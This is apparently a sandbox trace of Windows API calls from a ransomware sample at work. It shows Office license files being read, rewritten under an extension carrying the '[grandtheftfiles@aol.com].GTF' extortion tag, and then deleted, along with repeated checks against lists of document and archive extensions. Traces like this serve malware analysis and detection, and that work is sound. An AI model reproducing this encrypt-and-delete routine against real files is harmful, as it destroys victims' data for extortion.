	[0176.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74
	[0176.000] lstrlenW (lpString=".doc") returned 4
	[0176.000] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0176.000] lstrlenW (lpString=".docx") returned 5
	[0176.000] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0176.000] lstrlenW (lpString=".pdf") returned 4
	[0176.000] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0176.000] lstrlenW (lpString=".xls") returned 4
	[0176.000] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0176.001] lstrlenW (lpString=".xlsx") returned 5
	[0176.001] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0176.001] lstrlenW (lpString=".ppt") returned 4
	[0176.001] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0176.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74
	[0176.001] lstrlenW (lpString=".zip") returned 4
	[0176.001] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0176.001] lstrlenW (lpString=".rar") returned 4
	[0176.001] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0176.001] lstrlenW (lpString=".bz2") returned 4
	[0176.001] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0176.001] lstrlenW (lpString=".7z") returned 3
	[0176.001] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0176.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74
	[0176.001] lstrlenW (lpString=".dbf") returned 4
	[0176.001] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0176.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74
	[0176.001] lstrlenW (lpString=".1cd") returned 4
	[0176.001] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0176.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74
	[0176.001] lstrlenW (lpString=".jpg") returned 4
	[0176.001] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0176.001] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0176.001] lstrlenW (lpString="MondoR_SubTrial2-pl.xrm-ms") returned 26
	[0176.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c
	[0176.002] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=11155) returned 1
	[0176.002] CloseHandle (hObject=0x57c) returned 1
	[0176.002] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-pl.xrm-ms")) returned 0x220
	[0176.002] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0176.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c
	[0176.003] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.003] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0176.004] GetLastError () returned 0x0
	[0176.004] ReadFile (in: hFile=0x57c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x2b93, lpOverlapped=0x0) returned 1
	[0176.006] WriteFile (in: hFile=0x55c, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x2ba0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x2ba0, lpOverlapped=0x0) returned 1
	[0176.007] ReadFile (in: hFile=0x57c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.007] WriteFile (in: hFile=0x55c, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x108, lpOverlapped=0x0) returned 1
	[0176.007] SetEndOfFile (hFile=0x55c) returned 1
	[0176.007] CloseHandle (hObject=0x55c) returned 1
	[0176.007] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.007] SetEndOfFile (hFile=0x57c) returned 1
	[0176.010] CloseHandle (hObject=0x57c) returned 1
	[0176.010] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0176.010] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-pl.xrm-ms")) returned 1
	[0176.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76
	[0176.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76
	[0176.011] lstrlenW (lpString=".doc") returned 4
	[0176.011] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0176.011] lstrlenW (lpString=".docx") returned 5
	[0176.011] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0176.011] lstrlenW (lpString=".pdf") returned 4
	[0176.012] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0176.012] lstrlenW (lpString=".xls") returned 4
	[0176.012] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0176.012] lstrlenW (lpString=".xlsx") returned 5
	[0176.012] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0176.012] lstrlenW (lpString=".ppt") returned 4
	[0176.012] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0176.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76
	[0176.012] lstrlenW (lpString=".zip") returned 4
	[0176.012] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0176.012] lstrlenW (lpString=".rar") returned 4
	[0176.012] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0176.012] lstrlenW (lpString=".bz2") returned 4
	[0176.012] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0176.012] lstrlenW (lpString=".7z") returned 3
	[0176.012] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0176.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76
	[0176.012] lstrlenW (lpString=".dbf") returned 4
	[0176.012] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0176.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76
	[0176.012] lstrlenW (lpString=".1cd") returned 4
	[0176.012] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0176.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76
	[0176.012] lstrlenW (lpString=".jpg") returned 4
	[0176.012] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0176.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76
	[0176.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76
	[0176.012] lstrlenW (lpString=".doc") returned 4
	[0176.012] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0176.012] lstrlenW (lpString=".docx") returned 5
	[0176.012] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0176.012] lstrlenW (lpString=".pdf") returned 4
	[0176.013] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0176.013] lstrlenW (lpString=".xls") returned 4
	[0176.013] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0176.013] lstrlenW (lpString=".xlsx") returned 5
	[0176.013] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0176.013] lstrlenW (lpString=".ppt") returned 4
	[0176.013] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0176.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76
	[0176.013] lstrlenW (lpString=".zip") returned 4
	[0176.013] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0176.013] lstrlenW (lpString=".rar") returned 4
	[0176.013] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0176.013] lstrlenW (lpString=".bz2") returned 4
	[0176.013] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0176.013] lstrlenW (lpString=".7z") returned 3
	[0176.013] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0176.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76
	[0176.013] lstrlenW (lpString=".dbf") returned 4
	[0176.013] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0176.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76
	[0176.013] lstrlenW (lpString=".1cd") returned 4
	[0176.013] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0176.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76
	[0176.013] lstrlenW (lpString=".jpg") returned 4
	[0176.013] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0176.013] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0176.014] lstrlenW (lpString="MondoR_SubTrial2-ppd.xrm-ms") returned 27
	[0176.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c
	[0176.014] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=26526) returned 1
	[0176.014] CloseHandle (hObject=0x57c) returned 1
	[0176.015] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ppd.xrm-ms")) returned 0x220
	[0176.015] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0176.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c
	[0176.015] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.015] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0176.016] GetLastError () returned 0x0
	[0176.016] ReadFile (in: hFile=0x57c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x679e, lpOverlapped=0x0) returned 1
	[0176.020] WriteFile (in: hFile=0x55c, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x67a0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x67a0, lpOverlapped=0x0) returned 1
	[0176.021] ReadFile (in: hFile=0x57c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.021] WriteFile (in: hFile=0x55c, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x10a, lpOverlapped=0x0) returned 1
	[0176.022] SetEndOfFile (hFile=0x55c) returned 1
	[0176.022] CloseHandle (hObject=0x55c) returned 1
	[0176.022] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.022] SetEndOfFile (hFile=0x57c) returned 1
	[0176.025] CloseHandle (hObject=0x57c) returned 1
	[0176.025] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0176.026] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ppd.xrm-ms")) returned 1
	[0176.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77
	[0176.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77
	[0176.026] lstrlenW (lpString=".doc") returned 4
	[0176.027] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0176.027] lstrlenW (lpString=".docx") returned 5
	[0176.027] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0176.027] lstrlenW (lpString=".pdf") returned 4
	[0176.027] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0176.027] lstrlenW (lpString=".xls") returned 4
	[0176.027] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0176.027] lstrlenW (lpString=".xlsx") returned 5
	[0176.027] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0176.027] lstrlenW (lpString=".ppt") returned 4
	[0176.027] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0176.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77
	[0176.027] lstrlenW (lpString=".zip") returned 4
	[0176.027] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0176.027] lstrlenW (lpString=".rar") returned 4
	[0176.027] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0176.027] lstrlenW (lpString=".bz2") returned 4
	[0176.027] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0176.027] lstrlenW (lpString=".7z") returned 3
	[0176.027] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0176.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77
	[0176.027] lstrlenW (lpString=".dbf") returned 4
	[0176.027] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0176.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77
	[0176.027] lstrlenW (lpString=".1cd") returned 4
	[0176.027] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0176.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77
	[0176.027] lstrlenW (lpString=".jpg") returned 4
	[0176.027] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0176.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77
	[0176.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77
	[0176.027] lstrlenW (lpString=".doc") returned 4
	[0176.027] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0176.028] lstrlenW (lpString=".docx") returned 5
	[0176.028] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0176.028] lstrlenW (lpString=".pdf") returned 4
	[0176.028] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0176.028] lstrlenW (lpString=".xls") returned 4
	[0176.028] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0176.028] lstrlenW (lpString=".xlsx") returned 5
	[0176.028] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0176.028] lstrlenW (lpString=".ppt") returned 4
	[0176.028] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0176.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77
	[0176.028] lstrlenW (lpString=".zip") returned 4
	[0176.028] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0176.028] lstrlenW (lpString=".rar") returned 4
	[0176.028] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0176.028] lstrlenW (lpString=".bz2") returned 4
	[0176.028] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0176.028] lstrlenW (lpString=".7z") returned 3
	[0176.028] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0176.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77
	[0176.028] lstrlenW (lpString=".dbf") returned 4
	[0176.028] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0176.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77
	[0176.028] lstrlenW (lpString=".1cd") returned 4
	[0176.028] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0176.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77
	[0176.028] lstrlenW (lpString=".jpg") returned 4
	[0176.028] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0176.028] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0176.029] lstrlenW (lpString="MondoR_SubTrial2-ul-oob.xrm-ms") returned 30
	[0176.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c
	[0176.029] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=11600) returned 1
	[0176.029] CloseHandle (hObject=0x57c) returned 1
	[0176.029] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ul-oob.xrm-ms")) returned 0x220
	[0176.029] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0176.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c
	[0176.030] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.030] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c
	[0176.067] GetLastError () returned 0x0
	[0176.067] ReadFile (in: hFile=0x57c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x2d50, lpOverlapped=0x0) returned 1
	[0176.172] WriteFile (in: hFile=0x58c, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x2d60, lpOverlapped=0x0) returned 1
	[0176.173] ReadFile (in: hFile=0x57c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.173] WriteFile (in: hFile=0x58c, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x110, lpOverlapped=0x0) returned 1
	[0176.173] SetEndOfFile (hFile=0x58c) returned 1
	[0176.184] CloseHandle (hObject=0x58c) returned 1
	[0176.187] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.187] SetEndOfFile (hFile=0x57c) returned 1
	[0176.226] CloseHandle (hObject=0x57c) returned 1
	[0176.226] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0176.316] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ul-oob.xrm-ms")) returned 1
	[0176.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80
	[0176.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80
	[0176.849] lstrlenW (lpString=".doc") returned 4
	[0176.849] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0176.849] lstrlenW (lpString=".docx") returned 5
	[0176.849] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0176.849] lstrlenW (lpString=".pdf") returned 4
	[0176.849] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0176.849] lstrlenW (lpString=".xls") returned 4
	[0176.849] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0176.850] lstrlenW (lpString=".xlsx") returned 5
	[0176.850] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0176.850] lstrlenW (lpString=".ppt") returned 4
	[0176.850] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0176.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80
	[0176.850] lstrlenW (lpString=".zip") returned 4
	[0176.850] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0176.850] lstrlenW (lpString=".rar") returned 4
	[0176.850] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0176.850] lstrlenW (lpString=".bz2") returned 4
	[0176.850] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0176.850] lstrlenW (lpString=".7z") returned 3
